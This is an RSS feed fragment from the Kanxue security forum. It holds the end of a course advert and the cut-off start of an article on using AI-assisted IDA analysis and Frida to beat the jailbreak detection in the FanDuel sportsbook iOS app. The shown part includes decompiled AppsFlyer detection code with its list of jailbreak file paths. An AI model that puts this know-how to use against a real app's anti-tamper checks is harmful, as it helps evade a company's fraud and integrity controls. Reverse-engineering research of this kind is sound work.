src="https://wechat2rss.xlab.app/img-proxy/?k=bbf38e88&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K1Xt8bicC8A46APsgq7iciautORAF8dXNLmcgMMDPgsb1ZRQPia992mkMG8J9iczCAX8E4K9I5E0XE9iakJ1nwkqicDqVKjbR586TgQWY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;line-height: 0;padding: 0px 0px 0px 9px;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;flex: 0 0 auto;height: auto;line-height: 1.6;box-sizing: border-box;"><div style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;"><div style="z-index: 1;box-sizing: border-box;"><div style="margin: 0px 0px -7px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">购课</span></strong></p></div></div></div></div></div></div></div></div></div></div><div style="text-align: left;margin: 0px 0px 10px;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">上新价：1499元</span></b></p></div></div></div><div style="text-align: center;line-height: 2;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">购课后添加微信：kanxuecom</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">领取加密课程及学习资料</span></p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(45, 53, 54) 13%, rgb(17, 49, 54) 50%, rgb(23, 31, 29) 89%);margin: 9px 0px 0px;min-width: 5%;max-width: 100%;height: auto;padding: 3px 0px 3px 3px;border-top-left-radius: 96px;border-bottom-left-radius: 96px;overflow: hidden;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 100%;align-self: flex-start;background-color: rgb(255, 255, 255);border-top-left-radius: 82px;border-bottom-left-radius: 82px;overflow: hidden;padding: 0px 9px 0px 16px;box-sizing: border-box;"><div style="text-align: center;width: 100%;box-sizing: border-box;"><div style="color: rgb(11, 28, 31);width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">08</span></strong></p></div></div></div></div><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(17, 54, 54) 14%, rgb(8, 27, 30) 85%);min-width: 5%;max-width: 100%;height: auto;line-height: 0.4;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 3px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: center;box-sizing: border-box;"><div style="text-align: left;color: rgb(255, 255, 255);line-height: 1;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">课程咨询</span></strong></p></div></div></div></div></div></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: 28%;align-self: center;flex: 0 0 auto;height: auto;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(17, 49, 54);padding: 6px;box-sizing: border-box;"><div style="text-align: center;margin: 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="396" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130154" src="https://wechat2rss.xlab.app/img-proxy/?k=8c1b92e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K1pDPM2ocJbjfusaS5WRWz1tAD8afPp3iaYo5icW9FKJSuSy8ibg8XufvrU9Sw6vIFQ1ZYKqH0uL4Cr7iaYnTwfY75XyKj8CLzWKus%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;padding: 0px 0px 0px 12px;box-sizing: border-box;"><div style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;"><div style="height: auto;z-index: 1;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: 15px;align-self: center;flex: 0 0 auto;height: auto;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;width: 8px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;height: auto;background-color: rgb(17, 49, 54);box-sizing: border-box;"><div style="margin: 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.6708860759493671" data-s="300,640" data-type="png" data-w="395" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130161" src="https://wechat2rss.xlab.app/img-proxy/?k=86a1f95f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K2S5mlZBZ90EEWu2tWt8AgXPAKjRQhWzZubNt0awacazic8lkIlIDN928HpBUaSIWILZ2qeibEkZXjurGicBdia6iaKic8lryn0v4iazw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div><div style="display: inline-block;vertical-align: middle;width: 15px;align-self: center;flex: 0 0 auto;height: auto;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;width: 8px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;height: auto;background-color: rgb(17, 49, 54);box-sizing: border-box;"><div style="margin: 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.6708860759493671" data-s="300,640" data-type="png" data-w="395" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130157" src="https://wechat2rss.xlab.app/img-proxy/?k=0a6b4bf4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K3R0kpgVFMTZ79kS6PCE35HKt9fnocJwYRXzxl0Cqo6T5SA6dFJibsOzhvkCc9ELMmT28F4ybNqaw0AIw4ibbHVRL5N6xIgwQPsE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div><div style="display: inline-block;vertical-align: middle;width: 15px;align-self: center;flex: 0 0 auto;height: auto;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;width: 8px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;height: auto;background-color: rgb(17, 49, 54);box-sizing: border-box;"><div style="margin: 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.6708860759493671" data-s="300,640" data-type="png" data-w="395" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130159" src="https://wechat2rss.xlab.app/img-proxy/?k=30a9c734&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K1D9xP3GmR20QNEUWB5z1L883MbWAcaZic6OzgpBaJajnGCvJjichczib5DexgHjXc9B5nohLkmBlOnoLnDCILDSLdIwQqZwLKesU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;line-height: 0;padding: 0px 0px 0px 9px;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;flex: 0 0 auto;height: auto;line-height: 1.6;box-sizing: border-box;"><div style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;"><div style="z-index: 1;box-sizing: border-box;"><div style="margin: 0px 0px -7px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">咨询</span></strong></p></div></div></div></div></div></div></div></div></div></div><div style="text-align: left;margin: 0px 0px 10px;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">课程疑问</span></b></p></div></div></div><div style="font-size: 0px;margin: 10px 0% 13px;text-align: center;justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 22px;vertical-align: top;flex: 0 0 auto;height: auto;background-image: linear-gradient(to right, rgb(17, 49, 54) 0%, rgba(17, 49, 54, 0.2) 100%);border-width: 0px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;align-self: flex-start;box-sizing: border-box;"><div style="margin: 0px 0% -2px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.74" data-s="300,640" data-type="gif" data-w="300" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130160" src="https://wechat2rss.xlab.app/img-proxy/?k=1300e4bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FCpo2XCpI7K2WjzzAVe97s7AabdHG5NiaBdQCR74CWDv0Wtnw8CHgwjxvBsmN4UEkVyo4olDMnicFjkqiciaEtDicpQ6PdZxbkH0o0Jh4J5yIG3C4%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div></div><div style="line-height: 0;text-align: center;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.46875" data-s="300,640" data-type="jpeg" data-w="640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130158" src="https://wechat2rss.xlab.app/img-proxy/?k=145c8167&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K1132Fnibxs4pSJvtKRbd9z954uID411WqJ83ZNWLCRDjnxuNCdZrgLdjnFOWcNzibgkiaicaaGH7PUeTR7CBhmjqpoNyMtVIQKH90%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 20%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130164" src="https://wechat2rss.xlab.app/img-proxy/?k=14f3ee69&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K35aXphrGicJkjypbxwYP9VtibdGjfjgQfvVMLnOG3KuUpPZq3WVxWBqr5rhtzhY3aibc6MOwrAJ5PcIqAfgCMpvtCpn3EHNSW5D4%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="font-size: 12px;text-align: justify;box-sizing: border-box;"><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球分享</span></strong></p></div></div><div style="display: inline-block;vertical-align: top;width: 80%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130163" src="https://wechat2rss.xlab.app/img-proxy/?k=7d8c6fc9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FCpo2XCpI7K32QAkkKoDJ3JzuCH3VtInPgFEnUicuuJXg7pKTuAS83MyzFaf80x8lPl7YerTRTianF6aHVGIJDcMVibc8E3mkWPQr5VtNUjkVtY%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 12px;text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球点赞</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130166" src="https://wechat2rss.xlab.app/img-proxy/?k=651edcd5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K2bTethpuoBnR3eYcc9rD7iaibBtzhFx36VZmdh2CLKmbQPnSLhtbic1q8ItY5BSNjbbXjQfLToOLic14m8NAZ9UnlsdTmKX6wPfjY%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 12px;text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球在看</span></strong></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 10%;box-sizing: border-box;"><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.696" data-s="300,640" data-type="gif" data-w="500" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130165" src="https://wechat2rss.xlab.app/img-proxy/?k=102330c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K19XWPAw4y5X0P8icicn4RyLgUhJictFXIvuVJwg9KeAm2yfa1VzXfDhdyPah7TIp6iaOyq3MNREAWFZw8E6VQficg32iaJibxYhfiawzY%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><div style="display: inline-block;vertical-align: top;width: 90%;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 10px 0% 0px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;"><span leaf="">点击「阅读原文」报名学习</span></span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="https://www.kanxue.com/book-leaflet-131.htm">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=202f0a08&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMjM5NTc2MDYxMw%3D%3D%26mid%3D2458614849%26idx%3D3%26sn%3D73a6c0476434988ac8b288a8d04e1554">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 11 May 2026 17:59:00 +0800</pubDate>
    </item>
    <item>
      <title>AI 绕过 ios 越狱检测</title>
      <link>https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614768&amp;idx=1&amp;sn=20de81c1868c6e23fb49ed760d4470de</link>
      <description>看雪论坛作者ID：zhuzhu_biu</description>
      <content:encoded><![CDATA[<p><span>zhuzhu_biu</span> <span>2026-05-09 17:59</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f3943e53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K2XA6ATyo4Tz9TMpGN7YxCE3eeXict233drM2Ea3EpFc8KnCScRZ25NLIwY7LvXTV8ebibJuvXYk5ZwsDmGo7L5o06oAt25461us%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>看雪论坛作者ID：zhuzhu_biu</p>
  <h1 data-mpa-action-id="moy5ehzx1im9" data-pm-slice="0 0 []"><span leaf="" mpa-font-style="moy5ehz31nuw" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: &#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">目标</span></span><span mpa-font-style="moxxn7ct1l5x"><span mpa-font-style="moy5ehz31kdq" style="font-size: 15px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">：</span>让</span><code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">com.fanduel.sportsbook</span></code><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">在 palera1n rootless 越狱 (iOS 16 / arm64) 的 iPhone 上能通过 Frida spawn/attach 且不被越狱检测杀进程。</span></span></span></h1><p><span mpa-font-style="moxxn7ct219a" style="font-size: 15px;"><strong><span leaf="">结果</span></strong><span leaf="">：60+ 秒稳定存活；绕过方案共三件组合修复，脚本不到 50 行有效逻辑。</span></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="margin: 10px 0%;text-align: center;justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;padding: 0px 5px;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;width: 100%;background-color: rgba(149, 114, 239, 0.12);align-self: flex-start;box-sizing: border-box;"><div style="margin: 5px 0% 8px;width: 100%;box-sizing: border-box;"><div style="color: rgb(115, 66, 215);padding: 0px 6px;line-height: 1;width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">1.目标与环境</span></strong></p></div></div></div></div></div></div></div></div></div><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.37222222222222223" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="311131071" src="https://wechat2rss.xlab.app/img-proxy/?k=5174c684&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K3OXp39EBj0EQyoGnHeVpKonLA4jEqK5iaQpoqft1tQZMSrE0155j7HPYbvGC5ViaRalY2Xpvc8FqWodsicVHlcVmWiaaak5icxNALM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span mpa-font-style="moxxn7ct1xn5" style="font-size: 15px;"><span leaf="">对照实验结论：这是</span><strong><span leaf="">FanDuel 专属</span></strong><span leaf="">的越狱检测，不是 frida/device 侧故障。</span></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="margin: 10px 0%;text-align: center;justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;padding: 0px 5px;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;width: 100%;background-color: rgba(149, 114, 239, 0.12);align-self: flex-start;box-sizing: border-box;"><div style="margin: 5px 0% 8px;width: 100%;box-sizing: border-box;"><div style="color: rgb(115, 66, 215);padding: 0px 6px;line-height: 1;width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">2.</span><span leaf="">静态分析阶段：先看二进制里有什么</span></strong></p></div></div></div></div></div></div></div></div></div><p><span mpa-font-style="moxxn7ctfcq" style="font-size: 15px;"><span leaf="">通过 IDA MCP（</span><code><span leaf="">server_health</span></code><span leaf="">返回</span><code><span leaf="">module: SportsbookWrapper, imagebase: 0x100000000, hexrays_ready: true</span></code><span leaf="">）直接在 IDA 里查询。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ctc0o" style="font-size: 15px;"><span leaf="">2.1 用</span><code><span leaf="">func_query</span></code><span leaf="">/regex 找 JB 相关函数名</span></span></h3><p><span leaf="" mpa-font-style="moxxn7ctt8b" style="font-size: 15px;">命中：</span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><code mpa-font-style="moxxn7ct12zd" style="font-size: 15px;"><span leaf="">+[AppsFlyerUtils isJailbrokenWithSkipAdvancedJailbreakValidation:]</span></code><p><span mpa-font-style="moxxn7ct1y2y" style="font-size: 15px;"><span leaf="">@</span><code><span leaf="">0x101c1efe0</span></code></span></p></li><li><code mpa-font-style="moxxn7ct11u3" style="font-size: 15px;"><span leaf="">-[AppsFlyerLib skipAdvancedJailbreakValidation]</span></code><p><span mpa-font-style="moxxn7ct1i32" style="font-size: 15px;"><span leaf="">@</span><code><span leaf="">0x101c1ce30</span></code></span></p></li><li><code mpa-font-style="moxxn7ctiab" style="font-size: 15px;"><span leaf="">-[AFSDKChecksum calculateV2ValueWithTimestamp:...isJailBroken:...]</span></code></li></ul><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ct1qm5" style="font-size: 15px;"><span leaf="">2.2 反编译 AppsFlyer 的 JB 判定</span></span></h3><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ctlt0"><span leaf="">+[AppsFlyerUtils isJailbrokenWithSkipAdvancedJailbreakValidation:]:</span><span leaf=""><br/></span><span leaf="">  v21[<span class="code-snippet__number">0..20</span>] = @[</span><span leaf=""><br/></span><span leaf="">      @<span class="code-snippet__string">&#34;/Applications/Cydia.app&#34;</span>,</span><span leaf=""><br/></span><span leaf="">      @<span class="code-snippet__string">&#34;/Applications/blackra1n.app&#34;</span>, ...</span><span leaf=""><br/></span><span leaf="">      @<span class="code-snippet__string">&#34;/Library/MobileSubstrate/DynamicLibraries/LiveClock.plist&#34;</span>,</span><span leaf=""><br/></span><span leaf="">      @<span class="code-snippet__string">&#34;/private/var/lib/apt&#34;</span>, ...</span><span leaf=""><br/></span><span leaf="">      @<span class="code-snippet__string">&#34;/usr/sbin/sshd&#34;</span></span><span leaf=""><br/></span><span leaf="">  ];</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">for</span> p <span class="code-snippet__keyword">in</span> v21: <span class="code-snippet__keyword">if</span> [NSFileManager fileExistsAtPath:p] <span class="code-snippet__keyword">return</span> YES;</span><span leaf=""><br/></span><span leaf="">  ...</span><span leaf=""><br/></span><span leaf="">  // 再做 dladdr(class_getMethodImplementation(NSFileManager, @selector(fileExistsAtPath:)))</span><span leaf=""><br/></span><span leaf="">  // 对比是否在 Foundation.framework 里（检测 IMP 有没有被 swizzle）</span></code></pre></p><blockquote><p><span mpa-font-style="moxxn7ctuap" style="font-size: 15px;"><strong><span leaf="">结论</span></strong><span leaf="">：AppsFlyer 的 JB 判定</span><strong><span leaf="">不会杀进程</span></strong><span leaf="">，只是把结果塞给归因上报。不是这次的元凶。</span></span></p></blockquote><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ct1cuk" style="font-size: 15px;"><span leaf="">2.3 用</span><code><span leaf="">find(type=string)</span></code><span leaf="">扫 JB 相关字串</span></span></h3><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ctuwn"><span leaf="">/Applications/Cydia.app   → 1 hit (AppsFlyer 列表内)</span><span leaf=""><br/></span><span leaf="">/usr/sbin/sshd            → 1 hit</span><span leaf=""><br/></span><span leaf="">MobileSubstrate           → 3 hits</span><span leaf=""><br/></span><span leaf="">Jailbreak/Jailbroken      → 8 hits 总计</span></code></pre></p><p><span leaf="" mpa-font-style="moxxn7ct1zh3" style="font-size: 15px;">交叉引用回去：</span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><code mpa-font-style="moxxn7ctz9b" style="font-size: 15px;"><span leaf="">0x102a8e340 / 0x102a8e5c0 / 0x102a8e500</span></code><p><span leaf="" mpa-font-style="moxxn7ct1riq" style="font-size: 15px;">都被 AppsFlyer 引用；</span></p></li><li><code mpa-font-style="moxxn7ct212m" style="font-size: 15px;"><span leaf="">0x10218c27e &#34;MobileSubstrate&#34;</span></code><p><span mpa-font-style="moxxn7ct5wk" style="font-size: 15px;"><span leaf="">在</span><code><span leaf="">sub_1017FC3A0</span></code><span leaf="">（Sentry KSCrash 